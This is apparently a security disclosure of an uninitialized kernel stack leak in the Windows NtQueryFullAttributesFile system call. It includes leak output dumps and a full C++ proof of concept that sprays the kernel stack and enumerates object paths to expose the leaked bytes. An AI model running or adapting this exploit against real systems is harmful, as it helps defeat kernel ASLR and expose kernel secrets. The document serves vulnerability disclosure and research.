/* We have discovered that the nt!NtQueryFullAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are: --- cut --- "\GLOBAL??\D:\" (CD-ROM partition) "\GLOBAL??\CdRom0\" "\GLOBAL??\FltMgr" "\GLOBAL??\FltMgr\" "\GLOBAL??\MAILSLOT\" "\GLOBAL??\Volume{GUID}\" "\GLOBAL??\PIPE\" "\Device\CdRom0\" "\Device\NamedPipe\" "\Device\Mailslot\" --- cut --- The output structure returned by the system call is FILE_NETWORK_OPEN_INFORMATION [1]: --- cut --- typedef struct _FILE_NETWORK_OPEN_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG FileAttributes; } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; --- cut --- It occupies 52 (0x34) bytes in memory, but due to alignment to an 8-byte boundary, it is effectively 0x56 (0x38) bytes long. In case of most of the above affected paths, the problem is that the 4 trailing bytes of padding are never initialized. As the kernel uses a temporary copy of the structure (allocated in the stack frame of nt!NtQueryFullAttributesFile) that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryFullAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below: --- cut --- Name: \GLOBAL??\D:\, Status: 0 00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF.......... 00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF.. 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \GLOBAL??\CdRom0\, Status: 0 00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF.......... 00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF.. 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \GLOBAL??\MAILSLOT\, Status: 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \GLOBAL??\Volume{GUID}\, Status: 0 00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF.......... 00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF.. 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \GLOBAL??\PIPE\, Status: 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \Device\CdRom0\, Status: 0 00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF.......... 00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF.. 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \Device\NamedPipe\, Status: 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ Name: \Device\Mailslot\, Status: 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........ --- cut --- In case of the \GLOBAL??\FltMgr device, the entire 56-byte memory area remains uninitialized, and is copied in that form to user-mode. See below: --- cut --- Name: \GLOBAL??\FltMgr, Status: 0 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........ Name: \GLOBAL??\FltMgr\, Status: 0 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........ --- cut --- Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <winternl.h> #include <cstdio> #pragma comment(lib, "ntdll.lib") #define DIRECTORY_QUERY 0x0001 #define DIRECTORY_TRAVERSE 0x0002 typedef struct _FILE_NETWORK_OPEN_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER AllocationSize; LARGE_INTEGER EndOfFile; ULONG FileAttributes; } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; typedef struct _OBJECT_DIRECTORY_INFORMATION { UNICODE_STRING Name; UNICODE_STRING TypeName; } OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; extern "C" { NTSTATUS NTAPI NtQueryFullAttributesFile( _In_ POBJECT_ATTRIBUTES ObjectAttributes, _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation ); NTSTATUS WINAPI NtQueryDirectoryObject( _In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength ); NTSTATUS WINAPI NtOpenDirectoryObject( _Out_ PHANDLE DirectoryHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes ); }; VOID PrintHex(PVOID Buffer, ULONG dwBytes) { PBYTE Data = (PBYTE)Buffer; for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) { for (ULONG i = 0; i < size; i++) { ptr[i] = byte; } } VOID SprayKernelStack() { static bool initialized = false; static HPALETTE(*EngCreatePalette)( _In_ ULONG iMode, _In_ ULONG cColors, _In_ ULONG *pulColors, _In_ FLONG flRed, _In_ FLONG flGreen, _In_ FLONG flBlue ); if (!initialized) { EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette"); initialized = true; } static ULONG buffer[256]; MyMemset((PBYTE)buffer, 'A', sizeof(buffer)); EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0); MyMemset((PBYTE)buffer, 'B', sizeof(buffer)); } VOID QueryFile(HANDLE RootDirectory, PCWSTR Path) { OBJECT_ATTRIBUTES Attributes; UNICODE_STRING Name; RtlInitUnicodeString(&Name, Path); InitializeObjectAttributes(&Attributes, &Name, OBJ_CASE_INSENSITIVE, RootDirectory, NULL); FILE_NETWORK_OPEN_INFORMATION FileInformation, EmptyInformation; RtlZeroMemory(&FileInformation, sizeof(FileInformation)); RtlZeroMemory(&EmptyInformation, sizeof(EmptyInformation)); SprayKernelStack(); NTSTATUS Status = NtQueryFullAttributesFile(&Attributes, &FileInformation); if (memcmp(&FileInformation, &EmptyInformation, sizeof(FileInformation)) != 0) { wprintf(L"Name: %s, Status: %x\n", Path, Status); PrintHex(&FileInformation, sizeof(FileInformation)); } } VOID EnumerateDirectory(PWCHAR path) { HANDLE hdir = NULL; OBJECT_ATTRIBUTES attrs; UNICODE_STRING name; RtlInitUnicodeString(&name, path); InitializeObjectAttributes(&attrs, &name, 0, NULL, NULL); NTSTATUS st = NtOpenDirectoryObject(&hdir, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, &attrs); if (NT_SUCCESS(st)) { CONST ULONG kMaxBufferSize = 128 * 1024; PBYTE buffer = (PBYTE)malloc(kMaxBufferSize); ULONG Context; st = NtQueryDirectoryObject(hdir, buffer, kMaxBufferSize, FALSE, TRUE, &Context, NULL); if (NT_SUCCESS(st)) { POBJECT_DIRECTORY_INFORMATION pdi = (POBJECT_DIRECTORY_INFORMATION)buffer; while (pdi->Name.Buffer != NULL) { WCHAR path_buffer[MAX_PATH]; if (!wcscmp(path, L"\\")) { wsprintf(path_buffer, L"%s%s", path, pdi->Name.Buffer); } else { wsprintf(path_buffer, L"%s\\%s", path, pdi->Name.Buffer); } if (!wcscmp(pdi->TypeName.Buffer, L"Directory")) { EnumerateDirectory(path_buffer); } else { QueryFile(NULL, path_buffer); wcscat_s(path_buffer, L"\\"); QueryFile(NULL, path_buffer); } pdi++; } } free(buffer); NtClose(hdir); } } int main() { EnumerateDirectory(L"\\"); return 0; }